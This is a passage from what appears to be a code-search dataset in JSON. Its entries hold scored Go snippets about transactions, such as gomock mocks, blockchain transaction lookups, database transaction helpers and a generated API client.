NewAccount(*id, 0, utxos)\n\n\ttoId := *toAccount.GetAccountID()\n\n\tfcs := make([]FromCoin, 0)\n\tfcs = append(fcs, *getTestFromCoin())\n\ttf := NewTransactionFrom(fcs)\n\n\ttc := NewToCoin(toId, NewAmount(10))\n\ttcs := make([]ToCoin, 0)\n\ttcs = append(tcs, *tc)\n\ttt := NewTransactionTo(tcs)\n\n\tsigns := make([]node_meta.Signature, 0)\n\ttestTx := NewTransaction(config.DefaultTransactionVersion, config.NormalTx, *tf, *tt, signs, nil)\n\n\tsign, _ := ex.Sign(testTx.GetTxID().CloneBytes())\n\n\tsignature := node_meta.NewSignature(sign.Serialize())\n\ttestTx.AddSignature(signature)\n\n\treturn testTx\n}", "title": "" }, { "docid": "524670d1cc27be9af0eac91f8ed61ac0", "score": "0.56358963", "text": "func GetTransaction(context *gin.Context) {\n\ttransaction, err := transactions.FindBy(context.Param(\"id\"))\n\tif err != nil {\n\t\tcontext.JSON(http.StatusNotFound, gin.H{\"message\": \"Transaction \" + context.Param(\"id\") + \" has not been found\"})\n\t\tcontext.Abort()\n\t\treturn\n\t}\n\n\ttransaction.SecurityCode = \"\"\n\n\tcontext.JSON(http.StatusOK, transaction)\n}", "title": "" }, { "docid": "b4ee7cb1f6f7403f29fb83c2094cf512", "score": "0.5626234", "text": "func (m *MockConfigAdminServiceServer) RollbackTransaction(arg0 context.Context, arg1 *admin.RollbackRequest) (*admin.RollbackResponse, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"RollbackTransaction\", arg0, arg1)\n\tret0, _ := ret[0].(*admin.RollbackResponse)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "ba66c45d8c0b0c86752a7e89d0d817f3", "score": "0.56247514", "text": "func (m *MockTxClient) GetContract(arg0 interface{}) interface{} {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetContract\", arg0)\n\tret0, _ := ret[0].(interface{})\n\treturn ret0\n}", "title": "" }, { "docid": "7de2919226604572cf1cd53655430baa", "score": "0.56237364", "text": "func (m *MockIDatabase) Transfer(arg0 *models.Transfer) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Transfer\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "9d223a4614d8828d7bd3ec972dbad910", "score": "0.5617421", "text": "func (m *MockTransactionRepository) GetUserTransactions(ctx context.Context, req *models.GetUserTransactionsReq) ([]models.UserTransactionResp, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetUserTransactions\", ctx, req)\n\tret0, _ := ret[0].([]models.UserTransactionResp)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "004236fb690cf391ed0b2e01c355b7ca", "score": "0.56008714", "text": "func (_ERC20SucceedingMock *ERC20SucceedingMockRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) {\n\treturn _ERC20SucceedingMock.Contract.ERC20SucceedingMockTransactor.contract.Transact(opts, method, params...)\n}", "title": "" }, { "docid": "9f8d749d88d667f3e945ebffc563fe47", "score": "0.5587523", "text": "func (r *Repository) ExpectTransaction(fn func(*Repository)) {\n\tr.mock.On(\"Transaction\", r.ctxData).Once()\n\n\tr.ctxData.txDepth++\n\tfn(r)\n\tr.ctxData.txDepth--\n}", "title": "" }, { "docid": "36036453b39b7d600e9dd3e720cb2d47", "score": "0.5587319", "text": "func (_m *MockUnconfirmedTransactionPooler) Get(tx *dbutil.Tx, hash cipher.SHA256) (*UnconfirmedTransaction, error) {\n\tret := _m.Called(tx, hash)\n\n\tvar r0 *UnconfirmedTransaction\n\tif rf, ok := ret.Get(0).(func(*dbutil.Tx, cipher.SHA256) *UnconfirmedTransaction); ok {\n\t\tr0 = rf(tx, hash)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*UnconfirmedTransaction)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(*dbutil.Tx, cipher.SHA256) error); ok {\n\t\tr1 = rf(tx, hash)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "34fa37670ce76a6f330010ae59b721ee", "score": "0.5585103", "text": "func GetTransaction(w http.ResponseWriter, r *http.Request) {\n\tparams := mux.Vars(r)\n\tsignature := params[\"id\"]\n\n\ttransaction, err := repository.GetTransaction(signature, true)\n\n\tif err != nil {\n\t\thttp.Error(w, err.Error(), 400)\n\t\treturn\n\t}\n\n\tjson.NewEncoder(w).Encode(transaction)\n}", "title": "" }, { "docid": "d921cd2706e187c666632bf07cc0c8ce", "score": "0.558303", "text": "func (m *MockCoreService) TraceTransaction(ctx context.Context, actHash string, config *logger.Config) ([]byte, *action.Receipt, *logger.StructLogger, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"TraceTransaction\", ctx, actHash, config)\n\tret0, _ := ret[0].([]byte)\n\tret1, _ := ret[1].(*action.Receipt)\n\tret2, _ := ret[2].(*logger.StructLogger)\n\tret3, _ := ret[3].(error)\n\treturn ret0, ret1, ret2, ret3\n}", "title": "" }, { "docid": "8cf095c066e31320a51058ef2581ad17", "score": "0.55412644", "text": "func (db *Database) getTx(dest interface{}, query string, args ...interface{}) error {\n\tdb.mutex.Lock()\n\tdefer db.mutex.Unlock()\n\tif db.tx == nil {\n\t\tdb.tx = db.postgres.MustBegin()\n\t}\n\n\treturn db.tx.Get(dest, query, args...)\n}", "title": "" }, { "docid": "aa8c36f26d2ffe88fefa886374a63d65", "score": "0.55272126", "text": "func (m *MockConfigAdminServiceClient) RollbackTransaction(ctx context.Context, in *admin.RollbackRequest, opts ...grpc.CallOption) (*admin.RollbackResponse, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{ctx, in}\n\tfor _, a := range opts {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"RollbackTransaction\", varargs...)\n\tret0, _ := ret[0].(*admin.RollbackResponse)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "86c8b2d0ba6fe4389f905d946a2d5a03", "score": "0.55200624", "text": "func (_PausableMock *PausableMockTransactorRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) {\n\treturn _PausableMock.Contract.contract.Transfer(opts)\n}", "title": "" }, { "docid": "12a9e97e34a44044c8e08ae8a1e38adc", "score": "0.5505925", "text": "func (m *MockDB) Begin() (TX, error) {\n\tret := m.ctrl.Call(m, \"Begin\")\n\tret0, _ := ret[0].(TX)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "b81f81ec206f7de089a4aaa9a51e9a03", "score": "0.55040705", "text": "func GetTransaction(hash string, c types.Client) (res *api.ResultTx, err error) {\n\treturn c.Tx().Get(hash)\n}", "title": "" }, { "docid": "2165217102bb59c6ec5930d3ccbcd45a", "score": "0.5497442", "text": "func (_PausableMock *PausableMockRaw) Transfer(opts *bind.TransactOpts) (*types.Transaction, error) {\n\treturn _PausableMock.Contract.PausableMockTransactor.contract.Transfer(opts)\n}", "title": "" }, { "docid": "96e470e1a85bfd70e9b014f75237f12f", "score": "0.54947853", "text": "func (m *MockStore) ExecInTransaction(arg0 context.Context, arg1 func(context.Context) error) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ExecInTransaction\", arg0, arg1)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "8431f6a789a66f5985520bf36a8d82a6", "score": "0.54901576", "text": "func (m *MockDB) BeginTransaction(arg0 context.Context, arg1 *sql.TxOptions) (backend.Transaction, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"BeginTransaction\", arg0, arg1)\n\tret0, _ := ret[0].(backend.Transaction)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "80c239b3a1bfb150c4dcf4df8b8acaaf", "score": "0.5479195", "text": "func (me *Client) GetTransaction() *Transaction {\n\treturn me.transaction\n}", "title": "" }, { "docid": "541bdaa0a0a1ae44a136b912100e5772", "score": "0.5478511", "text": "func (s *InMemoryStorage) GetTransaction(searchTransaction models.Transaction) (models.Transaction, error) {\n\tvar transaction models.Transaction\n\n\tfor _, t := range DB.Transactions {\n\t\tif t.ID == searchTransaction.ID {\n\t\t\ttransaction = t\n\t\t}\n\t}\n\n\treturn transaction, nil\n}", "title": "" }, { "docid": "57397dedde63480d711f90e5edcaae01", "score": "0.54695904", "text": "func (c *Client) GetTransaction(transactionID string) (*Transaction, error) {\n\tvar transaction Transaction\n\terr := c.runCommand(&transaction, \"gettransaction\", transactionID)\n\treturn &transaction, err\n}", "title": "" }, { "docid": "0950d5b8f5618d6af05151ac1a77573a", "score": "0.5462985", "text": "func (m *MockSession) DoInTx(ctx context.Context, f func(context.Context) (interface{}, error)) (interface{}, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"DoInTx\", ctx, f)\n\tret0, _ := ret[0].(interface{})\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "30d6cd692b7e701725114abb16bea801", "score": "0.5444651", "text": "func (m *MockWallet) GetTransactionReceipt(arg0 common.Hash) (map[string]interface{}, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTransactionReceipt\", arg0)\n\tret0, _ := ret[0].(map[string]interface{})\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "9e33daf288d7cddf23992d21766192c3", "score": "0.5440746", "text": "func (r *Repository) Transaction(ctx context.Context, fn func(ctx context.Context) error) error {\n\tctxData := fetchContext(ctx)\n\tr.mock.Called(ctxData)\n\n\tvar err error\n\tfunc() {\n\t\tdefer func() {\n\t\t\tif p := recover(); p != nil {\n\t\t\t\tswitch e := p.(type) {\n\t\t\t\tcase runtime.Error:\n\t\t\t\t\tpanic(e)\n\t\t\t\tcase error:\n\t\t\t\t\terr = e\n\t\t\t\tdefault:\n\t\t\t\t\tpanic(e)\n\t\t\t\t}\n\t\t\t}\n\t\t}()\n\n\t\tctxData.txDepth++\n\t\tctx = wrapContext(ctx, ctxData)\n\t\terr = fn(ctx)\n\t}()\n\n\treturn err\n}", "title": "" }, { "docid": "fd4c362a5db84bc35f22771f01fc1bbc", "score": "0.5438763", "text": "func (p TransactionRepo) HandleGETTransaction(id, status string) (*Transaction, error) {\n\tresults := p.db.QueryRow(\"SELECT * FROM daftar_transaksi WHERE id=? AND status=?\", id, status)\n\n\tvar d Transaction\n\terr := results.Scan(&d.ID, &d.PeralatanMakan, &d.Total, &d.Status, &d.Created, &d.Updated)\n\tif err != nil {\n\t\treturn nil, errors.New(\"Transaction ID Not Found\")\n\t}\n\n\tresultProduct, _ := p.db.Query(`SELECT nama,kategori,harga,extra_pedas,kuantiti,total FROM detail_transaksi_idx WHERE trans_id=?`, d.ID)\n\tvar soldItem SoldItems\n\tfor resultProduct.Next() {\n\t\terr := resultProduct.Scan(&soldItem.ProductID, &soldItem.Category, &soldItem.Harga, &soldItem.EkstraPedas, &soldItem.Quantity, &soldItem.Total)\n\t\tif err != nil {\n\t\t\tlog.Println(err)\n\t\t\treturn nil, err\n\t\t}\n\t\td.SoldItems = append(d.SoldItems, soldItem)\n\t}\n\n\treturn &d, nil\n}", "title": "" }, { "docid": "8c6c40f0f837476c3d40ece89bb51446", "score": "0.54380393", "text": "func (txs *transactions) get(tx *dbutil.Tx, hash cipher.SHA256) (*Transaction, error) {\n\tvar txn Transaction\n\n\tv, err := dbutil.GetBucketValueNoCopy(tx, TransactionsBkt, hash[:])\n\tif err != nil {\n\t\treturn nil, err\n\t} else if v == nil {\n\t\treturn nil, nil\n\t}\n\n\tif err := decodeTransactionExact(v, &txn); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &txn, nil\n}", "title": "" }, { "docid": "cbce4afb8a25f4189cce3940b67ede99", "score": "0.5419246", "text": "func (p *websocketAPI) GetTransaction(blockNum uint64, trxInBlock uint32) (*types.SignedTransaction, error) {\n\tresp, err := p.wsClient.CallAPI(p.databaseAPIID, \"get_transaction\", blockNum, trxInBlock)\n\tif err != nil {\n\t\treturn nil, errors.Annotate(err, \"CallAPI\")\n\t}\n\n\tlogging.DDumpJSON(\"get_transaction <\", resp)\n\n\tret := types.SignedTransaction{}\n\tif err := ffjson.Unmarshal(*resp, &ret); err != nil {\n\t\treturn nil, errors.Annotate(err, \"Unmarshal [Transaction]\")\n\t}\n\n\treturn &ret, nil\n}", "title": "" }, { "docid": "fe89572fc24145d504928b7781624d58", "score": "0.5413109", "text": "func GetTransaction(ctx iris.Context) *newrelic.Transaction {\n\treturn Transaction(ctx)\n}", "title": "" }, { "docid": "0916c7775a3ff006d2dce52dc23ea8bb", "score": "0.5393406", "text": "func (m *MockTransactioner) WithoutTx(arg0 context.Context, arg1 func(storage.Runner) error) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"WithoutTx\", arg0, arg1)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "6607a8c7c3f3bd25a8269016d7f9f454", "score": "0.5391574", "text": "func (m *MockClient) GenerateContractTx(vmType pb.TransactionData_VMType, address *types.Address, method string, args ...*pb.Arg) (*pb.BxhTransaction, error) {\n\tm.ctrl.T.Helper()\n\tvarargs := []interface{}{vmType, address, method}\n\tfor _, a := range args {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"GenerateContractTx\", varargs...)\n\tret0, _ := ret[0].(*pb.BxhTransaction)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "13fad72bd311e90e652d93a3496980b4", "score": "0.53837115", "text": "func (m *MockWallet) GetRawTransactionByBlockHashAndIndex(arg0 common.Hash, arg1 hexutil.Uint) (hexutil.Bytes, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetRawTransactionByBlockHashAndIndex\", arg0, arg1)\n\tret0, _ := ret[0].(hexutil.Bytes)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "7b8d1020dd18c945ad27487dc76bb628", "score": "0.5375647", "text": "func (_TestAlastriaCounter *TestAlastriaCounterTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) {\n\treturn _TestAlastriaCounter.Contract.contract.Transact(opts, method, params...)\n}", "title": "" }, { "docid": "69b239299d823170b505ad6a8d68b241", "score": "0.5372517", "text": "func NewTx(t mockConstructorTestingTNewTx) *Tx {\n\tmock := &Tx{}\n\tmock.Mock.Test(t)\n\n\tt.Cleanup(func() { mock.AssertExpectations(t) })\n\n\treturn mock\n}", "title": "" }, { "docid": "ed4c7cd2e45dd444646ad8318a11b95d", "score": "0.53705543", "text": "func (m *MockWallet) GetRawTransactionByBlockNumberAndIndex(arg0 rpc.BlockNumber, arg1 hexutil.Uint) (hexutil.Bytes, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetRawTransactionByBlockNumberAndIndex\", arg0, arg1)\n\tret0, _ := ret[0].(hexutil.Bytes)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "f713e005482b2604fc36219682cbfa54", "score": "0.5368926", "text": "func (m *MockPegin) CreatePeginTransaction(peginOutPoint *types.OutPoint, peginData *types.InputPeginData, utxoList []*types.ElementsUtxoData, sendList []types.InputConfidentialTxOut, changeAddress *string, option *types.PeginTxOption) (*types.ConfidentialTx, *types.ConfidentialTx, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CreatePeginTransaction\", peginOutPoint, peginData, utxoList, sendList, changeAddress, option)\n\tret0, _ := ret[0].(*types.ConfidentialTx)\n\tret1, _ := ret[1].(*types.ConfidentialTx)\n\tret2, _ := ret[2].(error)\n\treturn ret0, ret1, ret2\n}", "title": "" }, { "docid": "c874d47c74f22c56eb805883e6949288", "score": "0.53664577", "text": "func (_BuyFGE *BuyFGECaller) GetTransaction(opts *bind.CallOpts, payment_id []byte) (BuyFGEPayment, error) {\n\tvar out []interface{}\n\terr := _BuyFGE.contract.Call(opts, &out, \"getTransaction\", payment_id)\n\n\tif err != nil {\n\t\treturn *new(BuyFGEPayment), err\n\t}\n\n\tout0 := *abi.ConvertType(out[0], new(BuyFGEPayment)).(*BuyFGEPayment)\n\n\treturn out0, err\n\n}", "title": "" }, { "docid": "0a88817e1f6852583233c4e3c3d6a1e7", "score": "0.53563666", "text": "func (m *MockDB) Get(arg0 []byte) ([]byte, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Get\", arg0)\n\tret0, _ := ret[0].([]byte)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "def494b866942098cdef1e1d5d224f25", "score": "0.53517604", "text": "func (m *MockSchedulerStorage) RunWithTransaction(ctx context.Context, transactionFunc func(ports.TransactionID) error) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"RunWithTransaction\", ctx, transactionFunc)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "f4850a51a3d870ed9c0d4e52ebafbcbf", "score": "0.5340209", "text": "func (r *Client) GetTransaction(txid string) (*Transaction, error) {\n\tresp, err := r.newHTTPRequest(\"getrawtransaction\", map[string]interface{}{\"txid\": txid, \"verbose\": 1})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttrx := &Transaction{}\n\tif err := json.Unmarshal(resp.Result, trx); err != nil {\n\t\treturn nil, err\n\t}\n\treturn trx, nil\n}", "title": "" }, { "docid": "87dc6314e11b776e648f1bfbdb91971d", "score": "0.5324747", "text": "func (a *ModelApiService) GetModelTransactionUsingGet(ctx context.Context, modelTransactionId string) (ModelTransaction, *http.Response, error) {\n\tvar (\n\t\tlocalVarHttpMethod = strings.ToUpper(\"Get\")\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue ModelTransaction\n\t)\n\n\t// create path and map variables\n\ta.client = NewAPIClient(&Configuration{\n\t\tBasePath: ctx.Value(\"BasePath\").(string),\n\t\tDefaultHeader: make(map[string]string),\n\t\tUserAgent: \"Swagger-Codegen/1.0.0/go\",\n\t})\n\tlocalVarPath := a.client.cfg.BasePath + \"/nucleus/v1/model_transaction/{model_transaction_id}\"\n\tlocalVarPath = strings.Replace(localVarPath, \"{\"+\"model_transaction_id\"+\"}\", fmt.Sprintf(\"%v\", modelTransactionId), -1)\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := url.Values{}\n\n\t// to determine the Content-Type header\n\tlocalVarHttpContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHttpContentType := selectHeaderContentType(localVarHttpContentTypes)\n\tif localVarHttpContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHttpContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHttpHeaderAccepts := []string{\"*/*\"}\n\n\t// set Accept header\n\tlocalVarHttpHeaderAccept := selectHeaderAccept(localVarHttpHeaderAccepts)\n\tif localVarHttpHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHttpHeaderAccept\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHttpMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHttpResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHttpResponse == nil {\n\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t}\n\n\tlocalVarBody, err := ioutil.ReadAll(localVarHttpResponse.Body)\n\tlocalVarHttpResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t}\n\n\tif localVarHttpResponse.StatusCode < 300 {\n\t\t// If we succeed, return the data, otherwise pass on to decode error.\n\t\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHttpResponse.Header.Get(\"Content-Type\"))\n\t\treturn localVarReturnValue, localVarHttpResponse, err\n\t}\n\n\tif localVarHttpResponse.StatusCode >= 300 {\n\t\tnewErr := GenericSwaggerError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHttpResponse.Status,\n\t\t}\n\n\t\tif localVarHttpResponse.StatusCode == 200 {\n\t\t\tvar v ModelTransaction\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHttpResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t\t}\n\n\t\treturn localVarReturnValue, localVarHttpResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHttpResponse, nil\n}", "title": "" }, { "docid": "45dadb97c7da9e5bb75b84196d317d47", "score": "0.53162825", "text": "func (_m *WalletQI) Transaction(_a0 func(api.WalletQI) error) error {\n\tret := _m.Called(_a0)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(func(api.WalletQI) error) error); ok {\n\t\tr0 = rf(_a0)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "6d1bb604c377d72cc629446fd24cd082", "score": "0.5314722", "text": "func GetTransaction(ctx context.Context, odr OdrBackend, txHash common.Hash) (*types.Transaction, common.Hash, uint64, uint64, error) {\n\tr := &TxStatusRequest{Hashes: []common.Hash{txHash}}\n\tif err := odr.Retrieve(ctx, r); err != nil || r.Status[0].Status != core.TxStatusIncluded {\n\t\treturn nil, common.Hash{}, 0, 0, err\n\t} else {\n\t\tpos := r.Status[0].Lookup\n\t\t// first ensure that we have the header, otherwise block body retrieval will fail\n\t\t// also verify if this is a canonical block by getting the header by number and checking its hash\n\t\tif header, err := GetHeaderByNumber(ctx, odr, pos.BlockIndex); err != nil || header.Hash() != pos.BlockHash {\n\t\t\treturn nil, common.Hash{}, 0, 0, err\n\t\t}\n\t\tif body, err := GetBody(ctx, odr, pos.BlockHash, pos.BlockIndex); err != nil || uint64(len(body.Transactions)) <= pos.Index || body.Transactions[pos.Index].Hash() != txHash {\n\t\t\treturn nil, common.Hash{}, 0, 0, err\n\t\t} else {\n\t\t\treturn body.Transactions[pos.Index], pos.BlockHash, pos.BlockIndex, pos.Index, nil\n\t\t}\n\t}\n}", "title": "" }, { "docid": "59264715eb81580e64438c1598d0b4a8", "score": "0.5312564", "text": "func (_MockLink *MockLinkTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) {\n\treturn _MockLink.Contract.contract.Transact(opts, method, params...)\n}", "title": "" }, { "docid": "d58c97b632bb4fd3e1adf1699ea29ec8", "score": "0.53085375", "text": "func (m *MockTxHandler) Query(req sdk.Request) sdk.RspMsg {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Query\", req)\n\tret0, _ := ret[0].(sdk.RspMsg)\n\treturn ret0\n}", "title": "" }, { "docid": "316cc84fd958c9715afaea1cfa78b714", "score": "0.5306428", "text": "func GetTransaction(hash interop.Hash256) *Transaction {\n\treturn neogointernal.CallWithToken(Hash, \"getTransaction\", int(contract.ReadStates), hash).(*Transaction)\n}", "title": "" }, { "docid": "94ae351cff6c70ea779fe9162fe844fe", "score": "0.53061414", "text": "func pullTransaction(ctx context.Context, client interfaces.TransactionPuller, transactionHash common.Hash) (tx *types.Transaction, err error) {\n\tdefer utils.WrapErrorP(&err)\n\tpanic(\"TODO\")\n}", "title": "" }, { "docid": "08eb2a709f8e45240e9f48f61787142c", "score": "0.5299151", "text": "func (m *MockDBTxer) Query(arg0 string, arg1 ...interface{}) (Rows, error) {\n\tvarargs := []interface{}{arg0}\n\tfor _, a := range arg1 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Query\", varargs...)\n\tret0, _ := ret[0].(Rows)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "667df0a0aff31dade5873cfdad06baf4", "score": "0.5296918", "text": "func (e *Etherscan) GetTransaction(hash string) (*Transaction, error) {\n\turl := fmt.Sprintf(\"https://%s/api?module=proxy&action=eth_getTransactionByHash&txhash=%s&apikey=%s\",\n\t\te.Domain, hash, e.APIKey,\n\t)\n\tres, err := req.Get(url)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar result transactionResponse\n\terr = res.ToJSON(&result)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif result.Result.Hash != hash {\n\t\treturn nil, errors.New(\"not found the transaction\")\n\t}\n\n\tvalue, _ := new(big.Int).SetString(result.Result.Value, 0)\n\tgas, _ := new(big.Int).SetString(result.Result.Gas, 0)\n\tgasPrice, _ := new(big.Int).SetString(result.Result.GasPrice, 0)\n\tblockNumber, _ := new(big.Int).SetString(result.Result.BlockNumber, 0)\n\n\treturn &Transaction{\n\t\tHash: result.Result.Hash,\n\t\tFrom: result.Result.From,\n\t\tTo: result.Result.To,\n\t\tValue: value,\n\t\tGas: gas,\n\t\tGasPrice: gasPrice,\n\t\tBlockNumber: blockNumber,\n\t}, nil\n}", "title": "" }, { "docid": "359c48379247460aae81e1f7238d7dc8", "score": "0.529551", "text": "func GetCasesTrans(caseName string, t *testing.T) (*beego.MockOrmer, *beego.MockQuerySeter, CasesTransStr) {\n\tormerMock, querySeterMock := testtools.InitOrmerMock(t)\n\treturn ormerMock, querySeterMock, CasesTransStr{{\n\t\t// Failure Case SaveDeviceAttr\n\t\tname: caseName + \"TransSaveFailureCase\",\n\t\trollBackTimes: 1,\n\t\tcommitTimes: 0,\n\t\tbeginTimes: 1,\n\t\tfilterReturn: nil,\n\t\tfilterTimes: 0,\n\t\tinsertReturnInt: int64(1),\n\t\tinsertReturnErr: errFailedDBOperation,\n\t\tinsertTimes: 1,\n\t\tdeleteReturnInt: int64(1),\n\t\tdeleteReturnErr: nil,\n\t\tdeleteTimes: 0,\n\t\tupdateReturnInt: int64(1),\n\t\tupdateReturnErr: nil,\n\t\tupdateTimes: 0,\n\t\tqueryTableReturn: nil,\n\t\tqueryTableTimes: 0,\n\t\twantErr: errFailedDBOperation,\n\t}, {\n\t\t// Failure Case DeleteDeviceAttr\n\t\tname: caseName + \"TransDeleteFailureCase\",\n\t\trollBackTimes: 1,\n\t\tcommitTimes: 0,\n\t\tbeginTimes: 1,\n\t\tfilterReturn: querySeterMock,\n\t\tfilterTimes: 2,\n\t\tinsertReturnInt: int64(1),\n\t\tinsertReturnErr: nil,\n\t\tinsertTimes: 1,\n\t\tdeleteReturnInt: int64(1),\n\t\tdeleteReturnErr: errFailedDBOperation,\n\t\tdeleteTimes: 1,\n\t\tupdateReturnInt: int64(1),\n\t\tupdateReturnErr: nil,\n\t\tupdateTimes: 0,\n\t\tqueryTableReturn: querySeterMock,\n\t\tqueryTableTimes: 1,\n\t\twantErr: errFailedDBOperation,\n\t}, {\n\t\t// Failure Case UpdateDeviceAttrFields\n\t\tname: caseName + \"TransUpdateFieldsFailureCase\",\n\t\trollBackTimes: 1,\n\t\tcommitTimes: 0,\n\t\tbeginTimes: 1,\n\t\tfilterReturn: querySeterMock,\n\t\tfilterTimes: 4,\n\t\tinsertReturnInt: int64(1),\n\t\tinsertReturnErr: nil,\n\t\tinsertTimes: 1,\n\t\tdeleteReturnInt: int64(1),\n\t\tdeleteReturnErr: nil,\n\t\tdeleteTimes: 1,\n\t\tupdateReturnInt: int64(1),\n\t\tupdateReturnErr: errFailedDBOperation,\n\t\tupdateTimes: 1,\n\t\tqueryTableReturn: querySeterMock,\n\t\tqueryTableTimes: 2,\n\t\twantErr: errFailedDBOperation,\n\t}, {\n\t\t// Success Case\n\t\tname: caseName + \"TransSuccessCase\",\n\t\trollBackTimes: 0,\n\t\tcommitTimes: 1,\n\t\tbeginTimes: 1,\n\t\tfilterReturn: querySeterMock,\n\t\tfilterTimes: 4,\n\t\tinsertReturnInt: int64(1),\n\t\tinsertReturnErr: nil,\n\t\tinsertTimes: 1,\n\t\tdeleteReturnInt: int64(1),\n\t\tdeleteReturnErr: nil,\n\t\tdeleteTimes: 1,\n\t\tupdateReturnInt: int64(1),\n\t\tupdateReturnErr: nil,\n\t\tupdateTimes: 1,\n\t\tqueryTableReturn: querySeterMock,\n\t\tqueryTableTimes: 2,\n\t\twantErr: nil,\n\t},\n\t}\n}", "title": "" }, { "docid": "ecdd30f4ea4e7f6658ead8a92d45aeac", "score": "0.52944905", "text": "func (m *MockHandler) BeginTx(arg0 context.Context, arg1 *sql.TxOptions) (datastore.Transactor, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"BeginTx\", arg0, arg1)\n\tret0, _ := ret[0].(datastore.Transactor)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "682c2e4b9ace0e387e77333a1fbf2c12", "score": "0.5292099", "text": "func (m *MockTxPool) FetchTx(hash *common.Hash32B) (*trx.Tx, error) {\n\tret := m.ctrl.Call(m, \"FetchTx\", hash)\n\tret0, _ := ret[0].(*trx.Tx)\n\tret1, _ := ret[1].(error)\n\treturn 